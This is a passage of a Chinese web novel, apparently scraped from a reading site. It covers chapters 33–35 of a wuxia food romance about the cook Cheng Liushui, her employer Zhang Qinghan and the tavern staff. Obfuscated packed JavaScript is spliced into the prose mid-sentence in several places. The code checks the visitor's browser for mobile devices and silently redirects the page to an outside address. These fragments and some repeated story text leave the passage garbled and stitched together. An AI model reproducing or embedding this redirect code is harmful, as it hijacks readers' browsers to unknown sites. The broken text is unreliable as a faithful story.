乔四方这才反应过来自己的失态,他虽厌烦眼前这人,还是拱手一礼道,“裴少侠失礼了,我方才太过着急,烦请你帮忙瞧瞧陶陶怎会忽然晕倒?” “好,我再仔细把把脉。”裴然之来不及整理凌乱的自己,就赶忙换了只手把脉,这脉象沉稳有力扑通扑通强壮得很那,他此时却不敢说话了,余光一瞄桌旁坐着两位姑娘,一位是方才引路的那位,一位穿着围裙想必是厨子了。 只不过这两人似乎并不着急,悠哉悠哉地喝起茶来,尤其是那穿着围裙的厨娘,竟然在磕瓜子,她不敢大声磕只得如松鼠般吃得两颊鼓鼓囊囊的,时不时还给引路的那位姑娘一把瓜子。 引路姑娘生怕厨娘噎着,忙倒了杯茶水给她润喉,两人相视一笑笑得甚是古怪。 裴然之心中忽然升出一丝悔意,他不该听了万家帮帮主的话就乱了阵脚,更不该紧赶慢赶地前来,那他就不会今日出现在此,更不会被身后两个武功深不可测的男人盯着,手里还有个根本看不出有病的病人。 他脑海中又闪过方才那两位姑娘古怪的笑,暗道不好,这不会是家黑店吧? 正当裴然之绝望之时,马陶陶悠悠睁开了眼开口道,“然之是你救了我吗?然之你真好。”那声音宛如黄鹂轻啼婉转多情难自抑。 “我……”裴然之一时语塞。 身后传来一声巨响,那魁梧的乔四方不管不顾地冲出了房间,甚至将那桌子生生撞出去几尺,裴然之想或许他最不该的就是嘴贱与这位陶陶姑娘搭话,还顺手将她抱到这里。 马陶陶眼见乔四方气跑了,这才慌了起来,急忙甩开裴然之的手,利落地从床榻上一跃而起,头不晕腿不麻好得跟个没事人似的。 “乔四方你跑什么啊!”两人一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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日落西山,杜少仲这厮陪着两位雪窦派的少侠去逛江陵集市去了,而程六水则在后厨忙碌着。 大黄鱼她特意挑的是那大小肥瘦适中的,若是太大煎起鱼来不容易熟,太小了鱼肉少没什么滋味,将那黄鱼处理干净后,在鱼腹两侧各划上几刀,抹上盐巴黄酒腌制片刻,一炷香的就够了。这时的黄鱼腥气早已祛除了大半,烧红的大铁锅里倒上不少油,下姜丝爆香整个后厨满是温热姜香,黄鱼下锅煎个金黄再反面煎好取出。 最关键的便是那雪菜,江陵不似江南,雪菜吃得不多,所幸程六水先前怕走南闯北的商贾们想吃上这口,于是特意备了点此时正好派上用场。铁锅里姜丝和葱段翻炒片刻,便可放入雪菜了,雪菜的咸香不一会儿就炒出来了,煎好的鱼再放回锅中,倒入滚烫的热水大火炖煮,最后再小火咕嘟咕嘟,锅盖焖个两刻钟便好。 一掀开锅盖,奶白的鱼汤鲜美异常,鱼肉软烂,撒上一丁点咸盐,就能出锅了。 张清寒推门进来时,满屋子的黄鱼雪菜香一股脑涌向他,烟雾缭绕中身着粉色衣衫的程六水正精心地将鱼汤盛入汤碗中,翠绿葱花轻撒在其中,宛若点睛之笔。 她心满意足地闻着食物的香气,嘴角微微勾起,激荡起了张清寒心中的阵阵涟漪。 33. 第 33 章 大风渐起吹得木门吱呀吱呀响,惊起了程六水沉浸于此的心,她下意识抬头望去,只见来人一身天青罩衫难得玉带束腰,半束起的发髻更添飘逸之姿。 她这几月甚少见张清寒如此穿着,怕是只有初见时才见其面如冠玉动了心神,往后不过是在柴米油盐中渐渐熟识,反而忘了他竟也是个如此惹人眼的翩翩君子。 许是君子如玉动人心魄,程六水脱口而出道,“你今夜怎么穿这样?” 张清寒本已快走到灶台旁,听了这话竟硬生生停住,低头看了看的衣衫,似有不解却还是白着脸问道,“这样穿不好吗?” 这衣衫是他特意回去翻箱倒柜挑的,他耳力甚好自然听见今日午后程六水与赵玉雨的小声议论, “凭心而论,裴少侠生得着实不错,那眼睛更是好,瞧上一眼怕是都要温柔地溺死在里面。”程六水摸着自己的小下巴道,后半句她没说出口,裴少侠要是放在现代娱乐圈,那定是看狗都深情的大明星。 “确实不错,六水你喜欢这样的少侠吗?”赵玉雨如今头也不低了,背也不弯了,被酒楼这帮伙计带的比往日开朗许多,甚至都开始逗弄小姐妹了。 程六水倒是实诚,圆溜溜的眼睛真是陷入了沉思,随后道,“说不上喜欢,但爱美之心人皆有之,我若是能遇上个英俊潇洒玉树临风的少侠也不错。” “那东家呢?”赵玉雨调笑道。 “东家可不行!”程六水不经大脑便开口道,笃信的神情还不够,竟又摇了摇头。 站在不远处竖着耳朵偷听的张清寒瞬间后退了两步,宛如万道雷鸣砸向自己,心口处仿佛被锋利无比的石头穿透了,不行?为什么他不行?那裴然之就行吗? 从没得到回应的老陈醋不经意间发酵成了酸中发苦的味道,张清寒挪动了脚步,心凉地离开了大堂,一个人孤孤单单地走向了断口子河边。 隆冬时节,野草一簇簇地发黄,枝头上的树叶绿得发黑,江陵不似六白山,即使是至冷时节仍是有草有叶,瞧着多了不少生机。可于张清寒而言,胸中不断下坠的大窟窿是多少生机都弥补不了的,那断口子河已然有了结冰迹象,无人再在周遭垂钓。 明明数月前的深夜,他与六水相谈甚欢,那时她怎么不说自己不行了呢?现在见了新人就将他抛诸脑后了,着实是那喜新厌旧的女人。 荒草地上发出咯吱咯吱的声音,沉浸在混沌难堪思绪中的张清寒已然走到了河边,甚至快要跌落到深不见底的冰河中。 “东家!你要做什么!你可不能想不开啊!”五大三粗的乔四方一手拿着两串糖葫芦,一手拎着刚买的糖渍蜜饯就颠颠跑过来了,两个胳膊一合拢托住张清寒的腿就不撒手啊。 张清寒这才反应过来,自己那脚面明明还没沾上河水,哪里来的想不开,再看乔四方大呼小叫的样子,说实话他现在有种想把乔四方踹进河里的冲动。 “我没有要跳河,只是不小心走得有点偏了。”张清寒努力把腿从那捆得牢牢的手臂里抽出来。 正巧刚刚赶来的马陶陶瞧见了,吓得她也叫了起来,“东家你快放开四方,你是不是要把他踹进河里!” 张清寒不动了,他无奈地望了望天又望了望地,不如自己还是跳下去一了白了吧,就算不被爱而不得折磨死,早晚也得被这帮伙计折磨死。 他稳了稳心神道,“你们俩和好了?” 乔四方听了这话猛地就撒手了,不好意思地低下头道,“陶陶说只吃我买的梨,我们就去买梨去了。” “那当然了,我这个人可是很挑剔的,外面不三不四的人给得东西就算再好,也没有乔大哥给得好啊~”马陶陶阴阳怪气道,前半句话把乔四方哄成翘嘴,后半句又暗戳戳气起来。 “我不是乔大哥,我是乔四方。”乔四方赶忙解释道。 “行吧,乔四方~”马陶陶嗔怪道,眼里皆是甜似蜜糖。 “两位行行好吧,你们旁边还有个我呢,我这么大个人看不见吗?而且你们说去买梨了,梨呢?”张清寒长叹了口气道。 “哎呀梨被我忘在王二娘了,我这就去背回来。”乔四方一拍脑袋才发觉,急急忙忙地朝着集市的方向跑去。 马陶陶本想跟着他去,这你侬我侬的年轻男女就是窗户纸还没捅破时最为黏人,一时一刻都不想分开,结果却被张清寒临时叫住。 “陶陶你在这同我一起等着吧。”张清寒轻了轻嗓子,十分不自然道。 “为什么?谁要陪你大冷天在河边吹风啊。”马陶陶仰着小脑袋理直气壮道,一双凤眼还眼巴巴瞧着跑老远的乔四方。 “我有事想请教你。”张清寒只能轻声道。 “哎呦喂你说什么呀东家,我没听清,你再说一遍。”马陶陶本就是富家小姐,被自家倒霉哥哥强行送来酒楼改造,如今有了机会,定是要故意作怪张清寒的。 “我说,我有事要请教你。”张清寒强忍着再去找棵树吊死的冲动,大声地说道。 “说吧说吧,你要请教什么?让马夫子我好好教导你一番。”马陶陶一口一个冰糖山楂道,这冰糖葫芦用的山楂又大又圆,红通通的喜庆得很,裹着的糖浆定是加了十足十的蜜糖,一口下去酸甜可口,根本停不下来了。 “我有一个朋友,他有个喜欢的姑娘,偶然间他听到了那姑娘与别人说起心仪的对象。。。” “你等下,偶然间听到?你那个朋友不会是偷听的吧?”马陶陶饶有兴致道,心里早就乐开了花,还我有个朋友,这不就是典型的无中生友吗?没想到叱咤武林官场的张大人还有为情所困的一天。 “不管是不是偷听,反正他就是听到那姑娘说,我那朋友不行,你说这可怎么办?”张清寒急得如热锅上的蚂蚁道。 “不行?就是那姑娘现下不喜欢你。。。的朋友?”马陶陶故意抻着声调道。 “。。。可以这么说吧。”张清寒本就摇摇欲坠的心又被捅了一刀。 “那还不简单,投其所好啊,那姑娘喜欢什么你总知道吧?”马陶陶撇了撇嘴,恨铁不成钢道。 喜欢什么?脑海中紧接着闪过,六水说过的“英俊潇洒玉树临风的少侠”,“我知道了!”张清寒激动道。 “照做不就得了,她喜欢什么你就做什么,让你摘星星也得摘下来,这不就妥了嘛。”程六水啃着个大汁多的砀山梨道,一口嘎嘣脆香好吃得很,背着一大筐的乔四方气喘吁吁地站在马陶陶身旁十分狗腿。 张清寒心想,果然是投其所好,江湖排名前几的轻功用来买梨还真是乔四方能干出来的事。 “多谢了,我这就去。”张清寒真心实意地道谢,转身就往回跑,他还说别人自己飞起来也嗖嗖的。 于是程六水的厨房里就出现了精心装扮后的张清寒,程六水闪了闪眼神道,“这样穿挺好的。”嘴角的笑根本就掉不下来,没办法食色性也,没人不喜欢看帅哥。 “我来帮你吧,还需要做什么吗?”张清寒一听也笑了,暗自心中窃喜道。 程六水眼睛一眯觉着事情有点不对,今日东家怎么又是穿新衣又是来帮自己干活的,此时他不是应该在大堂陪着雪窦派的两位侠士吗?为何跑来对自己大献殷勤? 但转念一想,免费劳动力既然送货上门了,自然没有不用的道理,笑眯眯道,“那东家帮我收拾收拾这河虾吧。” 一大筐新鲜得就差活蹦乱跳的活虾“哐当”扔到了张清寒面前,说实话张清寒的厨艺是能把所有都烤糊的程度,他对着这堆河虾根本不知要收拾什么,虾不都是捉上来然后直接扔下锅吗? 看着困惑不解皱着眉毛的张清寒,程六水竖起眉毛道,“怎么?你不愿意?” “没有没有,我愿意。。。我只是从未收拾过虾,你可以教我吗六水?”张清寒直愣愣地看着程六水,声音不自觉地柔软下来。 “哦。”程六水被问得心下一软,只能拿出一只虾,用剪刀剪去虾须虾脚,接着在虾背上浅浅划开一刀口子,这口子不能深到直接将虾剥了壳去,也不能浅得入不了味,得是恰到好处的深浅。 “学会了吗?”程六水教完低声问道。 “学会了,你手冷不冷?这虾泡在水里毕竟生冷,如今时气还不好。”张清寒心疼道,赶忙接过那筐虾一个一个弄了起来。 程六水瞪着眼睛瞧了瞧烧得正旺的灶火,还有屋里一左一右两个大大的炭盆,她不禁愈发困惑,今日的东家不仅奇奇怪怪,眼神竟然也不好了,这么多炭火哪里会冷,他莫不是想要磨洋工吧? “不冷,你快弄,我还等着虾下锅。”程六水一边用自己的火眼金睛监督着张清寒的一举一动,一边调起料汁来。 清酱自是不必说了,是这道菜咸淡的关键,少许清酱自带的豆香更是提味,再来些黄酒去腥,点睛之笔自然是半勺香醋,这醋加得不多不少,刚好去腥解腻还能更增河虾的风味,最后便是十足十的蔗糖。 雪窦山在江南腹地,那处口味总是赤酱浓油甜口得很,蔗糖下了锅便会紧紧裹住河虾,咸甜交叠滋味更上一层楼。 “我弄好了。”程六水调个酱汁的功夫,张清寒就手脚麻利做完道。 程六水扫了眼收拾好的河虾,只能感慨道脑子好使的人干什么都行,这虾收拾得又快又好,要不然以后让张清寒没事给自己打下手得了,现下偶尔给她打下手的杜少仲,人是好人满口文绉绉的,就是手有点不分瓣。 “干得不错。”程六水真心实意夸赞道。 简简单单四个字竟然张清寒红了脸,想当初他在朝堂上被当今圣上大加赞扬,依旧面不改色心不跳冷着一张脸,遗世独立孤傲高洁。 程六水倒没在意,还以为是屋里太热给他熏得呢,喷香的菜籽油在铁锅里滋滋作响,缕缕青烟飘起,就是这一刻三五成群的开背河虾一股脑涌进了热油锅中,刺啦一声虾子迅速从青瓜蛋子虾熟成浑身通红的样子。 大大的漏勺争分夺秒地捞出酥脆可口的油爆虾,个个金黄已是十分令人垂涎欲滴了,毕竟没人能抵抗住油炸的快乐。 但这道菜还远不止于此,程六水热油爆炒姜末葱花,煸出香味就倒入方才调好的酱汁,咕嘟咕嘟冒起小泡便放入金黄酥脆的大虾,虾身被赤酱浓油包裹着,菜籽油的香气混合着清酱白糖的咸甜,激发了河虾最鲜美的味道。 大堂里围坐在圆桌上的几人,踮着脚尖翘着脖子恨不得透过窗户掉进后厨里,本来还有些恹恹的唐雪意闻了这香味,连对面的乔四方和马陶陶都看顺眼了不少。 这位在江湖上颇有名气的唐女侠瞬间释怀了,天涯何处无芳草,老娘天下第一美,不必在不属于自己的人身上下功夫,还不如跟师兄多学几招鞭法来得实在。 裴然之闻见这诱人的香味,思绪渐渐抽离,忆起了几年前与师妹辛勤练功,闲时来打小灶的日子,没来由的静谧安乐降临在他身上,这是再多的江湖名望都抵不上的。 他转头看着嘴馋到不行的师妹,他想这份静谧安乐他不会放手了,无论如何都不会。 张清寒掀开帘子,端着雪菜大黄鱼稳稳地放在了圆桌上,而程六水则紧随其后送上了油爆虾。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“原是如此。”张清寒点头道,那庐山派本在江西一处,能邀别派来江陵这么个八竿子打不着的地方,也是有些渊源的。 江湖上八大名门正派,庐山派原是能拔得头筹的,可就在几年前他们的掌门忽然重病缠身,门派中人疯了一样寻医问道,访遍名山大川走遍大乾南北,仍是药石无医只是在勉强熬日子罢了。 一派之力毕竟有限,于是庐山派总是邀约各大门派寻访各地,上天入地也要求得灵药。而江陵江中相传有一灵药,七宝水运草藏于江底,百年前曾现于世,传说是蕴含天地精华的灵药,救了当时的武林至尊。 可后人无论再怎么下江寻找也从未找到,更为隐秘的传说是这七宝水运草只出现在每年寒冬时,寒冬腊月的江底饶是武功再高的人,跳下去都得剥层皮,更何况是漫无目的地大海捞针呢。 而雪窦派的独门武功,便可不费一兵一卒用鞭子探查水底,说不定几百个年轻弟子真能探着些宝贝线索。 张清寒一听便对庐山派目的了然于胸,却未点破,只是举起酒盏道,“裴少侠今日我们不醉不归。” “不醉不归。”裴然之饮尽此杯,惯是江湖儿女的豪爽大气。 今夜很长亦很短,三分酒气便卸下了这几人的防备与体面,竟开始蹦蹦跳跳胡言乱语了起来。 唐雪意最先醉的,小脸红扑扑的,一个起身就稳不住了,直直歪倒在一旁的马陶陶身上,她眼里都是重影还大声道,“别的不说,陶陶姑娘你长得还怪好看的。” “嘿嘿你也好看,你看这小脸软乎乎的跟鸡蛋糕一样。”马陶陶也好不到哪去,非但没把唐雪意扶起来,还顺便一搂公主抱了起来,不安分的小手捏着人家的脸。 乔四方正举着酒杯和裴然之哥俩好,结果一歪头就看见心上人怀里不是自己,他委屈巴巴地走三步退两步地朝着马陶陶走去,一本正经道,“你不许耍流氓!” “我没有,除非你让我也摸摸你的脸。”马陶陶伸出左手道。 “你摸你摸。”乔四方眼巴巴地凑过去,没被摸两下就甩了回来。 “不好摸还是小雪意的脸软嘿嘿。”马陶陶傻笑道。 “你的脸也好摸嘻嘻。”唐雪意笑得也没聪明到哪去,开始戳马陶陶的额头。 裴然之转过头方才和他哥俩好的乔四方好兄弟就没了,他甩了甩晕晕乎乎的脑袋,凑到杜少仲身边拍了拍他的肩膀问道,“杜老弟,你这酒真不错,就是有点晕呢。” 杜少仲就喝了半杯,尚是清醒道,“这是我最新研究酿制的烈酒,十美酒,用了十种不同的粮食酿出来的,什么大米糯米小麦红米黑米,我全用上了。” “那你怎么不多喝?你不够朋友!”裴然之拿了个大海碗就要敬杜少仲。 “我不能多喝,我喝酒吃过亏不能喝。”杜少仲想赶紧跑,结果一个腿软摔倒大酒坛子里,咕咕灌了不老少。 张清寒坐在楼梯上头靠着扶手,嘴里一直嘟囔着,“为啥我不行,我凭啥不行?你说!” 程六水迷迷糊糊地从膝盖处抬起头来,她就听着个不行,“张清寒你别说话,我思路全乱了,一天天不行的,你得阳光积极正能量。” “啥叫正能量,俺们那嘎达不说这个啊。”张清寒的六白山口音都被杜少仲酿的烈酒激出来了, “你这么说话好,这么说话有意思,这么说话肯定行!庐山我要爬庐山!”程六水懵懵地往张清寒的肩膀上靠,前言不搭后语驴唇不对马嘴。 把酒言欢一夜过去,待到太阳东升,酒楼里传来了惊天动地的一喊,“东家不好了!六水不见了!” 34. 第 34 章 北风嗷嗷吹,树杈歪歪扭扭地勉强站直了身板,而被打落的黄叶就只能七零八落地躺在泥地里,雨水催生了它们的衰败,硕大的车轮碾过碎得不成样子。 程六水努力地想要睁开眼睛,可惜昨夜喝得酒实在是太烈了,她当初就该阻止杜少仲这小子搞什么发明创造,哪有把那么多种粮食混在一起酿的,这都快成了鸡尾酒了。 人家鸡尾酒是果汁气泡水再加上点烈酒,这家伙是烈酒加烈酒,直接干成生命之水了。 只是微微眨了眨眼睛,就牵扯着了太阳穴生疼,混沌的意识拉着程六水依旧不停下坠,不愿在此时醒来。正在迷迷糊糊之际,她忽而听到耳边传来了忽远忽近的声响。 “莫师弟,长老之令不是只抓一个人吗?怎么你带回来了两个?”随着声音一同的是车子剧烈的颠簸,颠得程六水瞬间清醒了过来。 什么长老?自己又被抓来还债了吗?程六水默默地竖起耳朵偷听着。 “长老之令是让我找到画像中人带来,你看我如何分辨?”说话的人年岁听起来不大,怕是比程六水还小些,嗓音正处于少年的沙哑期,可语气倒是拽得很。 程六水悄咪咪扒开一个眼缝定睛一瞧,豁好一后现代抽象派大师杰作,眼睛是鼻子,鼻子是嘴巴。 对面之人见了这画像也是神情一滞,他只得叹了叹气道,“算了死马当活马医吧,你快快送去长老那问问,若要找的人,不是这两位姑娘,就赶紧送回去。” “师兄放心吧,我办事你放心。”这少年仰着头,如海浪般的高马尾翘起,发尾还微微被雨水打湿了。 程六水静悄悄地用眼缝察看了一圈四周,这马车很大,比她小时候看过的皇帝微服私访记里还大,莫说装下两个人就是四个也不成问题。 清幽的熏笼摆放在角落处,垂落的璎珞一摇一摆的,程六水身下是精心布置的软垫,哪怕再颠簸也不怕磕出青紫了。看到这,程六水的心总算是放下了,还好还好不是讨债的,讨债的都是让她去喂狼的,断不会如此行事。 她转头又是一看,身边躺着的另一位姑娘正是雪窦派崛起的明日之星,武功超群人缘极佳的唐雪意女侠。唐女侠呼吸平稳,甚至都打起可爱的小呼噜了,显然又是一位“生命之水”受害者。 俗话说一回生二回熟,程六水已经有了丰富的被绑经验,这回她老老实实地平躺在颠簸的鹅羽软垫之上,在胡思乱想中昏昏欲睡,时不时想着这熏香怪好闻的,她要是还能回酒楼也要去香铺子里挑一挑。 等一下!程六水终于反应过来自己忘了什么事了,她费劲巴力攒的十两八文钱去哪了!昨夜饮酒时,她没有带在身边而是藏在了卧房床榻旁的墙洞里,比被绑更难过的事情发生了,那就是有可能再也摸不到自己辛苦攒的钱了。 程六水思及此处,一伸手就扒拉醒了正睡得昏天黑地的唐雪意。 “谁啊?”唐雪意被扒拉地不厌其烦,她此时头痛欲裂恨不得给这人扔出去。 程六水没有说话,只是继续伸出手来戳唐雪意的腰间,一下子痒得唐雪意直直坐了起来,幸亏马车高大不然就得撞到头。 唐雪意摇了摇昏沉的脑袋,刹那间便恢复了神智,手中一把握住了腰间暗藏的软鞭,往日里柔和的面孔变得警惕严肃。 她宛如从一只猫蜕变成了一只猫头鹰,除了锋利的爪牙还有宽厚的翅膀,仿佛瞬间就能带着手无缚鸡之力的程六水逃离这里,回到十全酒楼的某个墙洞里。 程六水目不转睛地望着唐雪意,满脑子都是她英姿飒爽的身影,连那严阵以待的神情都是那么靠谱如此令人心动。她坚定地点了点头,然后默默挪到了唐雪意的身后,藏在背后的手触碰着滚烫的熏笼,那里有着几块烧红的银丝炭,虽不致命但能烫死人。 “醒了?”车门外的人依旧马不停蹄地赶路,连车门都懒得打开。 “你是什么人?为什么要绑架我们?”唐雪意已然抽出了腰间的软鞭,边说着话边靠近车门,只待时机一招将此人拿下。 “我没想绑架你们,是你们非要跟我回来的,唐唐你不会不记得你昨晚对我承诺过什么吧?!”少年这回倒是急了,不管不顾地勒停了马,还不忘给疲惫的马喂根胡萝卜吃。 他“嘭”的一声推开车门,十六七岁的江湖少年郎眉清目秀,眼眉红透了偏还硬气地抬头,一声不吭地质问着“唐唐”,而少年的手里是曾常垂落在唐雪意腰间的团纹香囊。 程六水本就葡萄大的眼睛睁得不能再大了,眼前这一幕令她本就不那么清白的大脑更不清白了起来,她知道此刻自己钻进车底比较好,但真的不能再看一会儿吗? 唐雪意瞬间儍了眼,手里的鞭子都挥到半空中了,一时间是撤也不是不撤也不是。 “你竟还想用鞭子打我?原来你从来都是蒙骗我的。”少年气得浑身发抖,抿着嘴一字一句说道。 程六水只恨现在手头上没有手机,这样的画面不能录下来真是太可惜了,最好再加上个大标题“震惊!雪窦派唐女侠醉酒情伤,误骗清纯少男”。 “我。。。是我吗?”唐雪意心虚地低下了头,眼前这少年的脸确实有那么点眼熟,到底在哪见过呢? “你不记得了,呵你果然都不记得了,六水你说!昨夜是你见证了我们的誓言!”少年颤抖道。 程六水惊恐地望向少年,再看向唐雪意,看了好几个来回张着嘴,阿巴阿巴了半天,就差去卸车顶逃出去了。 “你也不记得了?”少年咄咄逼人道,可那摇摇欲坠的宽厚身板说不出的脆弱。 “等等你别急,我想想快想起来了!”程六水赶忙出言安抚道,这都是什么糊涂账啊怎么还和自己有关系。 荒郊野外里,三人坐在马车里大眼瞪小眼,少年稍稍稳住了情绪撇过头故意不看唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552855|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪意,唐雪意又从猫头鹰变成了一只三花猫,不对现在连猫都当不成了,直接做老鼠吧。 程六水闭着眼睛在自己已然承载了两辈子记忆的大脑迷宫里到处敲门,敲了半天不是什么喜洋洋美洋洋,就是做完你的做你的,做完你的做他的。 直到一阵亮光突然出现在眼前,一幕幕飞快地在她眼前闪过,哦不!程六水宁愿从没想起过这些!但她不得不打破如此尴尬诡异的局面。 “你是莫年?庐山派莫年?”程六水小心询问道。 少年眼睛瞬间亮了起来道,“是,我就是,你想起来了?” “小年这外面雨也停了,要不我先同雪意聊聊,等下我让她给你赔礼道歉。”程六水化作假笑女孩道。 “不用她道歉的,我去找点东西吃,这都快到晌午了。”莫年低着头羞着脸走了,只留一树林的寂静。 唐雪意看着眼前程六水的比比划划,脑子嗡嗡响,一双手拄着脑袋都不管用。 “我俩喝醉了,然后跑去河边大喊?”唐雪意叹气道。 “对,你说要忘记乔四方重新开始,你应该是练过狮吼功的,那喊得鸟都吓跑了,我就在旁边给你一直鼓劲。”程六水继续假笑道,她就知道倒霉事总会有个不靠谱的开端。 “然后呢?怎么会和庐山派的人扯上关系?”唐雪意道。 “你声太大,那庐山派的莫年在附近听见了,还以为是你遭遇了什么不测在求救,正巧那时你在河边脚底一滑差点掉下去,那莫年可不就来英雄救美了。”程六水接着道。 “故事如果在这结束那也没什么事,但后来你一把拽住人家说什么再也不会相信话本子里救命之恩以身相许的屁话。你经历过说出这话正常,那莫年武功虽高人却不大,正是青春年少不谙世事的时候,偏生这人平时拽得跟二五八万似的,居然私底下就爱看些缠绵悱恻的话本子,你俩就吵吵起来了,然后。。。”程六水欲言又止道。 唐雪意被自己气笑了,“说吧,我还有什么接受不了的。” “你俩吵着吵着就打起来了,打着打着就不打了,不打了就互诉衷肠了,我已经记不得你们都说了些什么肉麻话,反正最后醉酒的你年少的他,手拉手肩并肩就差一起荡起双桨了。”程六水就算是半个局外人都不想回忆这段无比尴尬的一幕。 “别说了!真是喝酒误我!”唐雪意下定决心要封心锁爱,什么狗屁爱情莫挨老子。 “没事的雪意,我料想就算你同莫年挑明了只是酒醉误事,他也不会怎么样的。”程六水这回真心实意道,前有万家帮赵灵元,后有雪窦派裴然之,除了那个早就心有所属的愣头青乔四方,大概没人会真的忍下心来苛责唐雪意的,男人嘛年轻时受点情伤应该。。。没什么事吧? “那我们为何又会在这里?这儿是哪啊?”唐雪意环顾四周,只见远处飞流直下三千尺的瀑布缥缈壮观。 35. 第 35 章 “因为你要与我一同回庐山见师门。”莫年左手拎着只山鸡,右手抓了只兔子缓缓走来。 程六水摸了摸瘪瘪的肚子,心想这人年岁不大倒是个好猎手,能吃个饱饭了,“我来烤吧。”她顺手架起了火堆,正在磨石霍霍向鸡兔。 莫年未言语,只是将手里的小家伙递给了程六水,他乖巧地坐在唐雪意身旁,不远不近却满是情意,一双星眸恰似春水抚绿波,雪山寒梅开啊。 唐雪意眨巴眨巴眼睛道,“昨夜我饮酒饮多了,是我脑子糊涂了。” “你后悔了?你不是说不会不要我的吗?我是被掌门捡回来的孤儿,父母扔在路边没人要的,现下你也不要我了吗?”莫年怯怯地说道,眼神害怕极了。 “我哪里舍得啊,不要你我上哪去找你这样对我一心一意的少年郎。”唐雪意刹那间变了脸,本就娇美温婉的脸上更添几分情致,仿佛对着的真是个心心念念的儿郎。 那纤细的指尖轻轻划过少年白皙到极致的脸上,蜻蜓点水般触碰了几下,又故作姿态羞怯地垂下头,一双手悄悄握起了莫年的手掌心。 莫年激得浑身一抖,脸上引人怜爱的神色险些挂不住,浅浅呼气了几次才反握回去道,“只要你对我肯用心就好。” 这世上一切都是守恒的,有人在谈情说爱,就有人在负重前行。 程六水手脚麻利地将山鸡收拾好,这鸡成天在山里溜达,到处招猫逗狗的,长得十分结实简直可以称得上是只健美鸡先生了。 她解下了腰带上挂着的二三香囊,打开里面却不是什么香料,竟是什么珍稀的调料,这些都是她从码头上淘来的,本来买来想放在后厨好好大展身手,不曾想还没等放呢,就来了这荒郊野外。 一一摆开,好家伙迷迭香百里香野蜂蜜应有尽有,一旁还有一小瓶黑胡椒粉,最关键的是压轴出场的嘉宾——海盐。 程六水笑了,她望望天看看地,大片乌云早已被风吹散,只留一望无际的天边,未经雕琢的泥地没有板油马路的瓷实,却十分生动接地气。多好啊她程六水不仅能在古代做大厨,还能在这荒郊野外做法式迷迭香烤鸡。 马车里锋利的水果刀划开了走地鸡肥美的肚皮,散发着异国香气的香料一股脑地被塞进了去,盐巴胡椒粉均匀地洒在鸡肉上,最后再刷上一层甘甜的野蜂蜜。 柴火堆烧得正旺,树枝架起的天然烤架却没有迎来它的好伙伴烤鸡,程六水从地里挖来了长得郁郁葱葱的野苋菜,里三层外三层地包裹住腌制好的鸡肉,每层苋菜也撒上盐巴刷上蜂蜜,苋菜散发着独有的清香。 最后取一最大的苋菜紧紧包住鸡肉,一把就丢进了泥巴里,雨水冲刷过泥土焕然一新,程六水将海盐混合其中,大海天然的咸鲜与无根之水交叠成出了别样的风味。 不远处一直在腻腻歪歪的莫年睁大了眼睛,不可置信地看着这一幕,他到底是拐来了两个什么样的女人啊,一个毫不避讳地对自己动手动脚了起来,一个在那滚泥球玩?这俩绝对不会是长老要找的人! “她。。。”莫年到底还是年轻,就算性情乖戾叛逆城府颇深,却也没能按捺住心中震惊道。 唐雪意顺着手指的方向看去,白眼差点没翻到天上去,自己在这里勉为其难地做戏,六水倒是逍遥,只见她单手举起那有盆大的泥球,一个大力抛掷直直就投进了柴火堆里早已挖好的坑中。 “耶嘿!进球了!”程六水自顾自地鼓起掌来,完全无视着旁边两人。 “她做菜好吃的。”唐雪意此刻只觉自己出的气多进的气少,就差气得倒地不起了,却还要为这不靠谱的厨子遮掩。 莫年敛起胸中的怀疑,咧着嘴夹着嗓子道,“都听姐姐的。” 这话顺着风声就传进了完美投球的程六水耳中,她不禁撇了撇嘴心中蛐蛐着,女人会撒娇男人魂会飘,男人会撒娇女人抡大锤,等会就拿泥球捶你! 程六水将处理好的野兔放在梨树枝上烤,地里随便寻来的野葱垫在兔肉下面,去腥解腻是再好不过的了。温暖炽热的明黄色火焰激发出了天然的果木清香,未经仔细腌制的兔肉飘散着原始肉香。 兔肉烤得稍稍熟便也涂上一层蜂蜜,油花滋滋作响最后撒上些许盐巴,焦香甘甜的梨木蜂蜜烤兔就做好了。 “怎么样确实不错吧,姐姐不会骗你的。”唐雪意轻轻扯下一个兔腿,作势就要喂给莫年。 莫年下意识闪躲道,“姐姐醒了这么久了,还是姐姐先吃吧。” “真乖。”唐雪意摸了摸他的下巴尖,轻启贝齿咬了口柔嫩多汁的兔肉。 见唐雪意吃了烤兔,莫年才放心下来也取了一只兔腿吃起来,这一吃当真是不得了,他行走江湖多风餐露宿,烤的野兔得有上百只了,竟没有一只比得上这兔腿的风味。 果香四溢衬得肉不腥不柴,外皮焦香酥脆内里嫩得鲜美异常,蜂蜜的甘甜正正好好地渗了进去,粗盐粒在其中爆炸开来,调味火候没有一处不好的。 “确实好吃。”莫年吃得就剩骨头了,才抬起头来说道,接着就被一块烤得干巴巴硬邦邦的大泥巴砸到了脸。 “你!”莫年的左脸顿时红成一片,下意识想要站起身子反击,不曾想不仅没站稳,甚至跌坐到了石头上。 “我?我怎么了?”程六水扒开了最后一块泥巴,苋菜叶里的叫花鸡嫩滑无比,远渡重洋的迷迭香不虚此行,为这道苋菜叫花鸡增添了普鲁士的风情。 莫年的头无比剧痛,犹如针扎水泼般难捱,幸亏他多年习武意志力惊人,勉强撑起身子猩红着眼眶道,“姐姐你骗我。” 